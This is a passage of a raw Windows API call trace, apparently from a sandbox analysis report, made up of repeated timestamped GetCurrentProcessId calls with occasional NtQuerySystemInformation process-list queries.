returned 0xbf4 [0213.763] GetCurrentProcessId () returned 0xbf4 [0213.763] GetCurrentProcessId () returned 0xbf4 [0213.763] GetCurrentProcessId () returned 0xbf4 [0213.763] GetCurrentProcessId () returned 0xbf4 [0213.763] GetCurrentProcessId () returned 0xbf4 [0213.763] GetCurrentProcessId () returned 0xbf4 [0213.763] GetCurrentProcessId () returned 0xbf4 [0213.763] GetCurrentProcessId () returned 0xbf4 [0213.763] GetCurrentProcessId () returned 0xbf4 [0213.763] GetCurrentProcessId () returned 0xbf4 [0213.763] GetCurrentProcessId () returned 0xbf4 [0213.763] GetCurrentProcessId () returned 0xbf4 [0213.763] GetCurrentProcessId () returned 0xbf4 [0213.763] GetCurrentProcessId () returned 0xbf4 [0213.763] GetCurrentProcessId () returned 0xbf4 [0213.763] GetCurrentProcessId () returned 0xbf4 [0213.763] GetCurrentProcessId () returned 0xbf4 [0213.763] GetCurrentProcessId () returned 0xbf4 [0213.763] GetCurrentProcessId () returned 0xbf4 [0213.763] GetCurrentProcessId () returned 0xbf4 [0213.763] GetCurrentProcessId () returned 0xbf4 [0213.763] GetCurrentProcessId () returned 0xbf4 [0213.763] GetCurrentProcessId () returned 0xbf4 [0213.763] GetCurrentProcessId () returned 0xbf4 [0213.763] GetCurrentProcessId () returned 0xbf4 [0213.763] GetCurrentProcessId () returned 0xbf4 [0213.763] GetCurrentProcessId () returned 0xbf4 [0213.763] GetCurrentProcessId () returned 0xbf4 [0213.763] GetCurrentProcessId () returned 0xbf4 [0213.763] GetCurrentProcessId () returned 0xbf4 [0213.763] GetCurrentProcessId () returned 0xbf4 [0213.763] GetCurrentProcessId () returned 0xbf4 [0213.763] GetCurrentProcessId () returned 0xbf4 [0213.763] GetCurrentProcessId () returned 0xbf4 [0213.764] GetCurrentProcessId () returned 0xbf4 [0213.764] GetCurrentProcessId () returned 0xbf4 [0213.764] GetCurrentProcessId () returned 0xbf4 [0213.764] GetCurrentProcessId () returned 0xbf4 [0213.764] GetCurrentProcessId () returned 0xbf4 [0213.764] GetCurrentProcessId () returned 0xbf4 [0213.764] GetCurrentProcessId () returned 0xbf4 [0213.764] GetCurrentProcessId () returned 0xbf4 [0213.764] GetCurrentProcessId () returned 0xbf4 [0213.764] GetCurrentProcessId () returned 0xbf4 [0213.764] GetCurrentProcessId () returned 0xbf4 [0213.764] GetCurrentProcessId () returned 0xbf4 [0213.764] GetCurrentProcessId () returned 0xbf4 [0213.764] GetCurrentProcessId () returned 0xbf4 [0213.764] GetCurrentProcessId () returned 0xbf4 [0213.764] GetCurrentProcessId () returned 0xbf4 [0213.764] GetCurrentProcessId () returned 0xbf4 [0213.764] GetCurrentProcessId () returned 0xbf4 [0213.764] GetCurrentProcessId () returned 0xbf4 [0213.764] GetCurrentProcessId () returned 0xbf4 [0213.764] GetCurrentProcessId () returned 0xbf4 [0213.764] GetCurrentProcessId () returned 0xbf4 [0213.764] GetCurrentProcessId () returned 0xbf4 [0213.764] GetCurrentProcessId () returned 0xbf4 [0213.764] GetCurrentProcessId () returned 0xbf4 [0213.764] GetCurrentProcessId () returned 0xbf4 [0213.764] GetCurrentProcessId () returned 0xbf4 [0213.764] GetCurrentProcessId () returned 0xbf4 [0213.764] GetCurrentProcessId () returned 0xbf4 [0213.764] GetCurrentProcessId () returned 0xbf4 [0213.764] GetCurrentProcessId () returned 0xbf4 [0213.764] GetCurrentProcessId () returned 0xbf4 [0213.764] GetCurrentProcessId () returned 0xbf4 [0213.764] GetCurrentProcessId () returned 0xbf4 [0213.765] GetCurrentProcessId () returned 0xbf4 [0213.765] GetCurrentProcessId () returned 0xbf4 [0213.765] GetCurrentProcessId () returned 0xbf4 [0213.765] GetCurrentProcessId () returned 0xbf4 [0213.765] GetCurrentProcessId () returned 0xbf4 [0213.765] GetCurrentProcessId () returned 0xbf4 [0213.765] GetCurrentProcessId () returned 0xbf4 [0213.765] GetCurrentProcessId () returned 0xbf4 [0213.765] GetCurrentProcessId () returned 0xbf4 [0213.765] GetCurrentProcessId () returned 0xbf4 [0213.765] GetCurrentProcessId () returned 0xbf4 [0213.765] GetCurrentProcessId () returned 0xbf4 [0213.765] GetCurrentProcessId () returned 0xbf4 [0213.765] GetCurrentProcessId () returned 0xbf4 [0213.765] GetCurrentProcessId () returned 0xbf4 [0213.765] GetCurrentProcessId () returned 0xbf4 [0213.765] GetCurrentProcessId () returned 0xbf4 [0213.765] GetCurrentProcessId () returned 0xbf4 [0213.765] GetCurrentProcessId () returned 0xbf4 [0213.765] GetCurrentProcessId () returned 0xbf4 [0213.765] GetCurrentProcessId () returned 0xbf4 [0213.765] GetCurrentProcessId () returned 0xbf4 [0213.765] GetCurrentProcessId () returned 0xbf4 [0214.507] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1cbd0) returned 0x0 [0214.589] GetCurrentProcessId () returned 0xbf4 [0214.589] GetCurrentProcessId () returned 0xbf4 [0214.589] GetCurrentProcessId () returned 0xbf4 [0214.589] GetCurrentProcessId () returned 0xbf4 [0214.589] GetCurrentProcessId () returned 0xbf4 [0214.589] GetCurrentProcessId () returned 0xbf4 [0214.589] GetCurrentProcessId () returned 0xbf4 [0214.589] GetCurrentProcessId () returned 0xbf4 [0214.589] GetCurrentProcessId () returned 0xbf4 [0214.589] GetCurrentProcessId () returned 0xbf4 [0214.590] GetCurrentProcessId () returned 0xbf4 [0214.590] GetCurrentProcessId () returned 0xbf4 [0214.590] GetCurrentProcessId () returned 0xbf4 [0214.590] GetCurrentProcessId () returned 0xbf4 [0214.590] GetCurrentProcessId () returned 0xbf4 [0214.590] GetCurrentProcessId () returned 0xbf4 [0214.590] GetCurrentProcessId () returned 0xbf4 [0214.590] GetCurrentProcessId () returned 0xbf4 [0214.590] GetCurrentProcessId () returned 0xbf4 [0214.590] GetCurrentProcessId () returned 0xbf4 [0214.590] GetCurrentProcessId () returned 0xbf4 [0214.590] GetCurrentProcessId () returned 0xbf4 [0214.590] GetCurrentProcessId () returned 0xbf4 [0214.590] GetCurrentProcessId () returned 0xbf4 [0214.590] GetCurrentProcessId () returned 0xbf4 [0214.590] GetCurrentProcessId () returned 0xbf4 [0214.590] GetCurrentProcessId () returned 0xbf4 [0214.590] GetCurrentProcessId () returned 0xbf4 [0214.590] GetCurrentProcessId () returned 0xbf4 [0214.590] GetCurrentProcessId () returned 0xbf4 [0214.590] GetCurrentProcessId () returned 0xbf4 [0214.590] GetCurrentProcessId () returned 0xbf4 [0214.590] GetCurrentProcessId () returned 0xbf4 [0214.590] GetCurrentProcessId () returned 0xbf4 [0214.590] GetCurrentProcessId () returned 0xbf4 [0214.590] GetCurrentProcessId () returned 0xbf4 [0214.590] GetCurrentProcessId () returned 0xbf4 [0214.591] GetCurrentProcessId () returned 0xbf4 [0214.591] GetCurrentProcessId () returned 0xbf4 [0214.591] GetCurrentProcessId () returned 0xbf4 [0214.591] GetCurrentProcessId () returned 0xbf4 [0214.591] GetCurrentProcessId () returned 0xbf4 [0214.591] GetCurrentProcessId () returned 0xbf4 [0214.591] GetCurrentProcessId () returned 0xbf4 [0214.591] GetCurrentProcessId () returned 0xbf4 [0214.591] GetCurrentProcessId () returned 0xbf4 [0214.591] GetCurrentProcessId () returned 0xbf4 [0214.591] GetCurrentProcessId () returned 0xbf4 [0214.591] GetCurrentProcessId () returned 0xbf4 [0214.591] GetCurrentProcessId () returned 0xbf4 [0214.591] GetCurrentProcessId () returned 0xbf4 [0214.591] GetCurrentProcessId () returned 0xbf4 [0214.591] GetCurrentProcessId () returned 0xbf4 [0214.591] GetCurrentProcessId () returned 0xbf4 [0214.591] GetCurrentProcessId () returned 0xbf4 [0214.591] GetCurrentProcessId () returned 0xbf4 [0214.591] GetCurrentProcessId () returned 0xbf4 [0214.591] GetCurrentProcessId () returned 0xbf4 [0214.591] GetCurrentProcessId () returned 0xbf4 [0214.591] GetCurrentProcessId () returned 0xbf4 [0214.591] GetCurrentProcessId () returned 0xbf4 [0214.591] GetCurrentProcessId () returned 0xbf4 [0214.591] GetCurrentProcessId () returned 0xbf4 [0214.591] GetCurrentProcessId () returned 0xbf4 [0214.591] GetCurrentProcessId () returned 0xbf4 [0214.592] GetCurrentProcessId () returned 0xbf4 [0214.592] GetCurrentProcessId () returned 0xbf4 [0214.592] GetCurrentProcessId () returned 0xbf4 [0214.592] GetCurrentProcessId () returned 0xbf4 [0214.592] GetCurrentProcessId () returned 0xbf4 [0214.592] GetCurrentProcessId () returned 0xbf4 [0214.592] GetCurrentProcessId () returned 0xbf4 [0214.592] GetCurrentProcessId () returned 0xbf4 [0214.592] GetCurrentProcessId () returned 0xbf4 [0214.592] GetCurrentProcessId () returned 0xbf4 [0214.592] GetCurrentProcessId () returned 0xbf4 [0214.592] GetCurrentProcessId () returned 0xbf4 [0214.592] GetCurrentProcessId () returned 0xbf4 [0214.592] GetCurrentProcessId () returned 0xbf4 [0214.592] GetCurrentProcessId () returned 0xbf4 [0214.592] GetCurrentProcessId () returned 0xbf4 [0214.592] GetCurrentProcessId () returned 0xbf4 [0214.592] GetCurrentProcessId () returned 0xbf4 [0214.592] GetCurrentProcessId () returned 0xbf4 [0214.592] GetCurrentProcessId () returned 0xbf4 [0214.592] GetCurrentProcessId () returned 0xbf4 [0214.592] GetCurrentProcessId () returned 0xbf4 [0214.592] GetCurrentProcessId () returned 0xbf4 [0214.592] GetCurrentProcessId () returned 0xbf4 [0214.592] GetCurrentProcessId () returned 0xbf4 [0214.592] GetCurrentProcessId () returned 0xbf4 [0214.592] GetCurrentProcessId () returned 0xbf4 [0214.593] GetCurrentProcessId () returned 0xbf4 [0214.593] GetCurrentProcessId () returned 0xbf4 [0214.593] GetCurrentProcessId () returned 0xbf4 [0214.593] GetCurrentProcessId () returned 0xbf4 [0214.593] GetCurrentProcessId () returned 0xbf4 [0214.593] GetCurrentProcessId () returned 0xbf4 [0214.593] GetCurrentProcessId () returned 0xbf4 [0214.593] GetCurrentProcessId () returned 0xbf4 [0214.593] GetCurrentProcessId () returned 0xbf4 [0214.593] GetCurrentProcessId () returned 0xbf4 [0214.593] GetCurrentProcessId () returned 0xbf4 [0214.593] GetCurrentProcessId () returned 0xbf4 [0214.593] GetCurrentProcessId () returned 0xbf4 [0214.593] GetCurrentProcessId () returned 0xbf4 [0214.593] GetCurrentProcessId () returned 0xbf4 [0215.219] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1cbd0) returned 0x0 [0215.224] GetCurrentProcessId () returned 0xbf4 [0215.224] GetCurrentProcessId () returned 0xbf4 [0215.224] GetCurrentProcessId () returned 0xbf4 [0215.224] GetCurrentProcessId () returned 0xbf4 [0215.224] GetCurrentProcessId () returned 0xbf4 [0215.224] GetCurrentProcessId () returned 0xbf4 [0215.224] GetCurrentProcessId () returned 0xbf4 [0215.224] GetCurrentProcessId () returned 0xbf4 [0215.224] GetCurrentProcessId () returned 0xbf4 [0215.224] GetCurrentProcessId () returned 0xbf4 [0215.224] GetCurrentProcessId () returned 0xbf4 [0215.224] GetCurrentProcessId () returned 0xbf4 [0215.224] GetCurrentProcessId () returned 0xbf4 [0215.224] GetCurrentProcessId () returned 0xbf4 [0215.224] GetCurrentProcessId () returned 0xbf4 [0215.224] GetCurrentProcessId () returned 0xbf4 [0215.225] GetCurrentProcessId () returned 0xbf4 [0215.225] GetCurrentProcessId () returned 0xbf4 [0215.225] GetCurrentProcessId () returned 0xbf4 [0215.225] GetCurrentProcessId () returned 0xbf4 [0215.225] GetCurrentProcessId () returned 0xbf4 [0215.225] GetCurrentProcessId () returned 0xbf4 [0215.225] GetCurrentProcessId () returned 0xbf4 [0215.225] GetCurrentProcessId () returned 0xbf4 [0215.225] GetCurrentProcessId () returned 0xbf4 [0215.225] GetCurrentProcessId () returned 0xbf4 [0215.225] GetCurrentProcessId () returned 0xbf4 [0215.225] GetCurrentProcessId () returned 0xbf4 [0215.225] GetCurrentProcessId () returned 0xbf4 [0215.225] GetCurrentProcessId () returned 0xbf4 [0215.225] GetCurrentProcessId () returned 0xbf4 [0215.225] GetCurrentProcessId () returned 0xbf4 [0215.225] GetCurrentProcessId () returned 0xbf4 [0215.225] GetCurrentProcessId () returned 0xbf4 [0215.225] GetCurrentProcessId () returned 0xbf4 [0215.225] GetCurrentProcessId () returned 0xbf4 [0215.225] GetCurrentProcessId () returned 0xbf4 [0215.225] GetCurrentProcessId () returned 0xbf4 [0215.225] GetCurrentProcessId () returned 0xbf4 [0215.225] GetCurrentProcessId () returned 0xbf4 [0215.225] GetCurrentProcessId () returned 0xbf4 [0215.225] GetCurrentProcessId () returned 0xbf4 [0215.225] GetCurrentProcessId () returned 0xbf4 [0215.225] GetCurrentProcessId () returned 0xbf4 [0215.226] GetCurrentProcessId () returned 0xbf4 [0215.226] GetCurrentProcessId () returned 0xbf4 [0215.226] GetCurrentProcessId () returned 0xbf4 [0215.226] GetCurrentProcessId () returned 0xbf4 [0215.226] GetCurrentProcessId () returned 0xbf4 [0215.226] GetCurrentProcessId () returned 0xbf4 [0215.226] GetCurrentProcessId () returned 0xbf4 [0215.226] GetCurrentProcessId () returned 0xbf4 [0215.226] GetCurrentProcessId () returned 0xbf4 [0215.226] GetCurrentProcessId () returned 0xbf4 [0215.226] GetCurrentProcessId () returned 0xbf4 [0215.226] GetCurrentProcessId () returned 0xbf4 [0215.226] GetCurrentProcessId () returned 0xbf4 [0215.226] GetCurrentProcessId () returned 0xbf4 [0215.226] GetCurrentProcessId () returned 0xbf4 [0215.226] GetCurrentProcessId () returned 0xbf4 [0215.226] GetCurrentProcessId () returned 0xbf4 [0215.226] GetCurrentProcessId () returned 0xbf4 [0215.226] GetCurrentProcessId () returned 0xbf4 [0215.226] GetCurrentProcessId () returned 0xbf4 [0215.226] GetCurrentProcessId () returned 0xbf4 [0215.226] GetCurrentProcessId () returned 0xbf4 [0215.226] GetCurrentProcessId () returned 0xbf4 [0215.226] GetCurrentProcessId () returned 0xbf4 [0215.226] GetCurrentProcessId () returned 0xbf4 [0215.226] GetCurrentProcessId () returned 0xbf4 [0215.226] GetCurrentProcessId () returned 0xbf4 [0215.226] GetCurrentProcessId () returned 0xbf4 [0215.227] GetCurrentProcessId () returned 0xbf4 [0215.227] GetCurrentProcessId () returned 0xbf4 [0215.227] GetCurrentProcessId () returned 0xbf4 [0215.227] GetCurrentProcessId () returned 0xbf4 [0215.227] GetCurrentProcessId () returned 0xbf4 [0215.227] GetCurrentProcessId () returned 0xbf4 [0215.227] GetCurrentProcessId () returned 0xbf4 [0215.227] GetCurrentProcessId () returned 0xbf4 [0215.227] GetCurrentProcessId () returned 0xbf4 [0215.227] GetCurrentProcessId () returned 0xbf4 [0215.227] GetCurrentProcessId () returned 0xbf4 [0215.227] GetCurrentProcessId () returned 0xbf4 [0215.227] GetCurrentProcessId () returned 0xbf4 [0215.227] GetCurrentProcessId () returned 0xbf4 [0215.227] GetCurrentProcessId () returned 0xbf4 [0215.227] GetCurrentProcessId () returned 0xbf4 [0215.227] GetCurrentProcessId () returned 0xbf4 [0215.227] GetCurrentProcessId () returned 0xbf4 [0215.227] GetCurrentProcessId () returned 0xbf4 [0215.227] GetCurrentProcessId () returned 0xbf4 [0215.227] GetCurrentProcessId () returned 0xbf4 [0215.227] GetCurrentProcessId () returned 0xbf4 [0215.227] GetCurrentProcessId () returned 0xbf4 [0215.227] GetCurrentProcessId () returned 0xbf4 [0215.227] GetCurrentProcessId () returned 0xbf4 [0215.227] GetCurrentProcessId () returned 0xbf4 [0215.227] GetCurrentProcessId () returned 0xbf4 [0215.227] GetCurrentProcessId () returned 0xbf4 [0215.227] GetCurrentProcessId () returned 0xbf4 [0215.227] GetCurrentProcessId () returned 0xbf4 [0215.227] GetCurrentProcessId () returned 0xbf4 [0215.228] GetCurrentProcessId () returned 0xbf4 [0215.228] GetCurrentProcessId () returned 0xbf4 [0215.228] GetCurrentProcessId () returned 0xbf4 [0215.228] GetCurrentProcessId () returned 0xbf4 [0215.853] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1cb80) returned 0x0 [0215.856] GetCurrentProcessId () returned 0xbf4 [0215.856] GetCurrentProcessId () returned 0xbf4 [0215.856] GetCurrentProcessId () returned 0xbf4 [0215.856] GetCurrentProcessId () returned 0xbf4 [0215.856] GetCurrentProcessId () returned 0xbf4 [0215.856] GetCurrentProcessId () returned 0xbf4 [0215.856] GetCurrentProcessId () returned 0xbf4 [0215.856] GetCurrentProcessId () returned 0xbf4 [0215.856] GetCurrentProcessId () returned 0xbf4 [0215.856] GetCurrentProcessId () returned 0xbf4 [0215.856] GetCurrentProcessId () returned 0xbf4 [0215.856] GetCurrentProcessId () returned 0xbf4 [0215.856] GetCurrentProcessId () returned 0xbf4 [0215.856] GetCurrentProcessId () returned 0xbf4 [0215.856] GetCurrentProcessId () returned 0xbf4 [0215.856] GetCurrentProcessId () returned 0xbf4 [0215.856] GetCurrentProcessId () returned 0xbf4 [0215.856] GetCurrentProcessId () returned 0xbf4 [0215.856] GetCurrentProcessId () returned 0xbf4 [0215.856] GetCurrentProcessId () returned 0xbf4 [0215.856] GetCurrentProcessId () returned 0xbf4 [0215.856] GetCurrentProcessId () returned 0xbf4 [0215.856] GetCurrentProcessId () returned 0xbf4 [0215.856] GetCurrentProcessId () returned 0xbf4 [0215.856] GetCurrentProcessId () returned 0xbf4 [0215.856] GetCurrentProcessId () returned 0xbf4 [0215.856] GetCurrentProcessId () returned 0xbf4 [0215.856] GetCurrentProcessId () returned 0xbf4 [0215.856] GetCurrentProcessId () returned 0xbf4 [0215.857] GetCurrentProcessId () returned 0xbf4 [0215.857] GetCurrentProcessId () returned 0xbf4 [0215.857] GetCurrentProcessId () returned 0xbf4 [0215.857] GetCurrentProcessId () returned 0xbf4 [0215.857] GetCurrentProcessId () returned 0xbf4 [0215.857] GetCurrentProcessId () returned 0xbf4 [0215.857] GetCurrentProcessId () returned 0xbf4 [0215.857] GetCurrentProcessId () returned 0xbf4 [0215.857] GetCurrentProcessId () returned 0xbf4 [0215.857] GetCurrentProcessId () returned 0xbf4 [0215.857] GetCurrentProcessId () returned 0xbf4 [0215.857] GetCurrentProcessId () returned 0xbf4 [0215.857] GetCurrentProcessId () returned 0xbf4 [0215.857] GetCurrentProcessId () returned 0xbf4 [0215.857] GetCurrentProcessId () returned 0xbf4 [0215.857] GetCurrentProcessId () returned 0xbf4 [0215.857] GetCurrentProcessId () returned 0xbf4 [0215.857] GetCurrentProcessId () returned 0xbf4 [0215.857] GetCurrentProcessId () returned 0xbf4 [0215.857] GetCurrentProcessId () returned 0xbf4 [0215.857] GetCurrentProcessId () returned 0xbf4 [0215.857] GetCurrentProcessId () returned 0xbf4 [0215.857] GetCurrentProcessId () returned 0xbf4 [0215.857] GetCurrentProcessId () returned 0xbf4 [0215.857] GetCurrentProcessId () returned 0xbf4 [0215.857] GetCurrentProcessId () returned 0xbf4 [0215.857] GetCurrentProcessId () returned 0xbf4 [0215.857] GetCurrentProcessId () returned 0xbf4 [0215.857] GetCurrentProcessId () returned 0xbf4 [0215.857] GetCurrentProcessId () returned 0xbf4 [0215.857] GetCurrentProcessId () returned 0xbf4 [0215.857] GetCurrentProcessId () returned 0xbf4 [0215.857] GetCurrentProcessId () returned 0xbf4 [0215.857] GetCurrentProcessId () returned 0xbf4 [0215.857] GetCurrentProcessId () returned 0xbf4 [0215.857] GetCurrentProcessId () returned 0xbf4 [0215.857] GetCurrentProcessId () returned 0xbf4 [0215.858] GetCurrentProcessId () returned 0xbf4 [0215.858] GetCurrentProcessId () returned 0xbf4 [0215.858] GetCurrentProcessId () returned 0xbf4 [0215.858] GetCurrentProcessId () returned 0xbf4 [0215.858] GetCurrentProcessId () returned 0xbf4 [0215.858] GetCurrentProcessId () returned 0xbf4 [0215.858] GetCurrentProcessId () returned 0xbf4 [0215.858] GetCurrentProcessId () returned 0xbf4 [0215.858] GetCurrentProcessId () returned 0xbf4 [0215.858] GetCurrentProcessId () returned 0xbf4 [0215.858] GetCurrentProcessId () returned 0xbf4 [0215.858] GetCurrentProcessId () returned 0xbf4 [0215.858] GetCurrentProcessId () returned 0xbf4 [0215.858] GetCurrentProcessId () returned 0xbf4 [0215.858] GetCurrentProcessId () returned 0xbf4 [0215.858] GetCurrentProcessId () returned 0xbf4 [0215.858] GetCurrentProcessId () returned 0xbf4 [0215.858] GetCurrentProcessId () returned 0xbf4 [0215.858] GetCurrentProcessId () returned 0xbf4 [0215.858] GetCurrentProcessId () returned 0xbf4 [0215.858] GetCurrentProcessId () returned 0xbf4 [0215.858] GetCurrentProcessId () returned 0xbf4 [0215.858] GetCurrentProcessId () returned 0xbf4 [0215.858] GetCurrentProcessId () returned 0xbf4 [0215.858] GetCurrentProcessId () returned 0xbf4 [0215.858] GetCurrentProcessId () returned 0xbf4 [0215.858] GetCurrentProcessId () returned 0xbf4 [0215.858] GetCurrentProcessId () returned 0xbf4 [0215.858] GetCurrentProcessId () returned 0xbf4 [0215.858] GetCurrentProcessId () returned 0xbf4 [0215.858] GetCurrentProcessId () returned 0xbf4 [0215.858] GetCurrentProcessId () returned 0xbf4 [0215.858] GetCurrentProcessId () returned 0xbf4 [0215.858] GetCurrentProcessId () returned 0xbf4 [0215.858] GetCurrentProcessId () returned 0xbf4 [0215.858] GetCurrentProcessId () returned 0xbf4 [0215.858] GetCurrentProcessId () returned 0xbf4 [0215.859] GetCurrentProcessId () returned 0xbf4 [0215.859] GetCurrentProcessId () returned 0xbf4 [0215.859] GetCurrentProcessId () returned 0xbf4 [0215.859] GetCurrentProcessId () returned 0xbf4 [0216.465] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1cb80) returned 0x0 [0216.512] GetCurrentProcessId () returned 0xbf4 [0216.512] GetCurrentProcessId () returned 0xbf4 [0216.512] GetCurrentProcessId () returned 0xbf4 [0216.512] GetCurrentProcessId () returned 0xbf4 [0216.512] GetCurrentProcessId () returned 0xbf4 [0216.512] GetCurrentProcessId () returned 0xbf4 [0216.512] GetCurrentProcessId () returned 0xbf4 [0216.512] GetCurrentProcessId () returned 0xbf4 [0216.512] GetCurrentProcessId () returned 0xbf4 [0216.512] GetCurrentProcessId () returned 0xbf4 [0216.513] GetCurrentProcessId () returned 0xbf4 [0216.513] GetCurrentProcessId () returned 0xbf4 [0216.513] GetCurrentProcessId () returned 0xbf4 [0216.513] GetCurrentProcessId () returned 0xbf4 [0216.513] GetCurrentProcessId () returned 0xbf4 [0216.513] GetCurrentProcessId () returned 0xbf4 [0216.513] GetCurrentProcessId () returned 0xbf4 [0216.513] GetCurrentProcessId () returned 0xbf4 [0216.513] GetCurrentProcessId () returned 0xbf4 [0216.513] GetCurrentProcessId () returned 0xbf4 [0216.513] GetCurrentProcessId () returned 0xbf4 [0216.513] GetCurrentProcessId () returned 0xbf4 [0216.513] GetCurrentProcessId () returned 0xbf4 [0216.513] GetCurrentProcessId () returned 0xbf4 [0216.513] GetCurrentProcessId () returned 0xbf4 [0216.513] GetCurrentProcessId () returned 0xbf4 [0216.513] GetCurrentProcessId () returned 0xbf4 [0216.513] GetCurrentProcessId () returned 0xbf4 [0216.513] GetCurrentProcessId () returned 0xbf4 [0216.513] GetCurrentProcessId () returned 0xbf4 [0216.513] GetCurrentProcessId () returned 0xbf4 [0216.513] GetCurrentProcessId () returned 0xbf4 [0216.513] GetCurrentProcessId () returned 0xbf4 [0216.513] GetCurrentProcessId () returned 0xbf4 [0216.514] GetCurrentProcessId () returned 0xbf4 [0216.514] GetCurrentProcessId () returned 0xbf4 [0216.514] GetCurrentProcessId () returned 0xbf4 [0216.514] GetCurrentProcessId () returned 0xbf4 [0216.514] GetCurrentProcessId () returned 0xbf4 [0216.514] GetCurrentProcessId () returned 0xbf4 [0216.514] GetCurrentProcessId () returned 0xbf4 [0216.514] GetCurrentProcessId () returned 0xbf4 [0216.514] GetCurrentProcessId () returned 0xbf4 [0216.514] GetCurrentProcessId () returned 0xbf4 [0216.514] GetCurrentProcessId () returned 0xbf4 [0216.514] GetCurrentProcessId () returned 0xbf4 [0216.514] GetCurrentProcessId () returned 0xbf4 [0216.514] GetCurrentProcessId () returned 0xbf4 [0216.514] GetCurrentProcessId () returned 0xbf4 [0216.514] GetCurrentProcessId () returned 0xbf4 [0216.514] GetCurrentProcessId () returned 0xbf4 [0216.514] GetCurrentProcessId () returned 0xbf4 [0216.514] GetCurrentProcessId () returned 0xbf4 [0216.514] GetCurrentProcessId () returned 0xbf4 [0216.514] GetCurrentProcessId () returned 0xbf4 [0216.514] GetCurrentProcessId () returned 0xbf4 [0216.514] GetCurrentProcessId () returned 0xbf4 [0216.514] GetCurrentProcessId () returned 0xbf4 [0216.515] GetCurrentProcessId () returned 0xbf4 [0216.515] GetCurrentProcessId () returned 0xbf4 [0216.515] GetCurrentProcessId () returned 0xbf4 [0216.515] GetCurrentProcessId () returned 0xbf4 [0216.515] GetCurrentProcessId () returned 0xbf4 [0216.515] GetCurrentProcessId () returned 0xbf4 [0216.515] GetCurrentProcessId () returned 0xbf4 [0216.515] GetCurrentProcessId () returned 0xbf4 [0216.515] GetCurrentProcessId () returned 0xbf4 [0216.515] GetCurrentProcessId () returned 0xbf4 [0216.515] GetCurrentProcessId () returned 0xbf4 [0216.515] GetCurrentProcessId () returned 0xbf4 [0216.515] GetCurrentProcessId () returned 0xbf4 [0216.515] GetCurrentProcessId () returned 0xbf4 [0216.515] GetCurrentProcessId () returned 0xbf4 [0216.515] GetCurrentProcessId () returned 0xbf4 [0216.515] GetCurrentProcessId () returned 0xbf4 [0216.515] GetCurrentProcessId () returned 0xbf4 [0216.515] GetCurrentProcessId () returned 0xbf4 [0216.515] GetCurrentProcessId () returned 0xbf4 [0216.515] GetCurrentProcessId () returned 0xbf4 [0216.515] GetCurrentProcessId () returned 0xbf4 [0216.515] GetCurrentProcessId () returned 0xbf4 [0216.515] GetCurrentProcessId () returned 0xbf4 [0216.515] GetCurrentProcessId () returned 0xbf4 [0216.515] GetCurrentProcessId () returned 0xbf4 [0216.515] GetCurrentProcessId () returned 0xbf4 [0216.516] GetCurrentProcessId () returned 0xbf4 [0216.516] GetCurrentProcessId () returned 0xbf4 [0216.516] GetCurrentProcessId () returned 0xbf4 [0216.516] GetCurrentProcessId () returned 0xbf4 [0216.516] GetCurrentProcessId () returned 0xbf4 [0216.516] GetCurrentProcessId () returned 0xbf4 [0216.516] GetCurrentProcessId () returned 0xbf4 [0216.516] GetCurrentProcessId () returned 0xbf4 [0216.516] GetCurrentProcessId () returned 0xbf4 [0216.516] GetCurrentProcessId () returned 0xbf4 [0216.516] GetCurrentProcessId () returned 0xbf4 [0216.516] GetCurrentProcessId () returned 0xbf4 [0216.516] GetCurrentProcessId () returned 0xbf4 [0216.516] GetCurrentProcessId () returned 0xbf4 [0216.516] GetCurrentProcessId () returned 0xbf4 [0216.516] GetCurrentProcessId () returned 0xbf4 [0216.516] GetCurrentProcessId () returned 0xbf4 [0216.516] GetCurrentProcessId () returned 0xbf4 [0216.516] GetCurrentProcessId () returned 0xbf4 [0216.516] GetCurrentProcessId () returned 0xbf4 [0216.516] GetCurrentProcessId () returned 0xbf4 [0216.516] GetCurrentProcessId () returned 0xbf4 [0217.289] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1cbd0) returned 0x0 [0217.313] GetCurrentProcessId () returned 0xbf4 [0217.313] GetCurrentProcessId () returned 0xbf4 [0217.313] GetCurrentProcessId () returned 0xbf4 [0217.313] GetCurrentProcessId () returned 0xbf4 [0217.313] GetCurrentProcessId () returned 0xbf4 [0217.313] GetCurrentProcessId () returned 0xbf4 [0217.313] GetCurrentProcessId () returned 0xbf4 [0217.313] GetCurrentProcessId () returned 0xbf4 [0217.313] GetCurrentProcessId () returned 0xbf4 [0217.313] GetCurrentProcessId () returned 0xbf4 [0217.313] GetCurrentProcessId () returned 0xbf4 [0217.313] GetCurrentProcessId () returned 0xbf4 [0217.313] GetCurrentProcessId () returned 0xbf4 [0217.313] GetCurrentProcessId () returned 0xbf4 [0217.313] GetCurrentProcessId () returned 0xbf4 [0217.313] GetCurrentProcessId () returned 0xbf4 [0217.313] GetCurrentProcessId () returned 0xbf4 [0217.313] GetCurrentProcessId () returned 0xbf4 [0217.314] GetCurrentProcessId () returned 0xbf4 [0217.314] GetCurrentProcessId () returned 0xbf4 [0217.314] GetCurrentProcessId () returned 0xbf4 [0217.314] GetCurrentProcessId () returned 0xbf4 [0217.314] GetCurrentProcessId () returned 0xbf4 [0217.314] GetCurrentProcessId () returned 0xbf4 [0217.314] GetCurrentProcessId () returned 0xbf4 [0217.314] GetCurrentProcessId () returned 0xbf4 [0217.314] GetCurrentProcessId () returned 0xbf4 [0217.314] GetCurrentProcessId () returned 0xbf4 [0217.314] GetCurrentProcessId () returned 0xbf4 [0217.314] GetCurrentProcessId () returned 0xbf4 [0217.314] GetCurrentProcessId () returned 0xbf4 [0217.314] GetCurrentProcessId () returned 0xbf4 [0217.314] GetCurrentProcessId () returned 0xbf4 [0217.314] GetCurrentProcessId () returned 0xbf4 [0217.314] 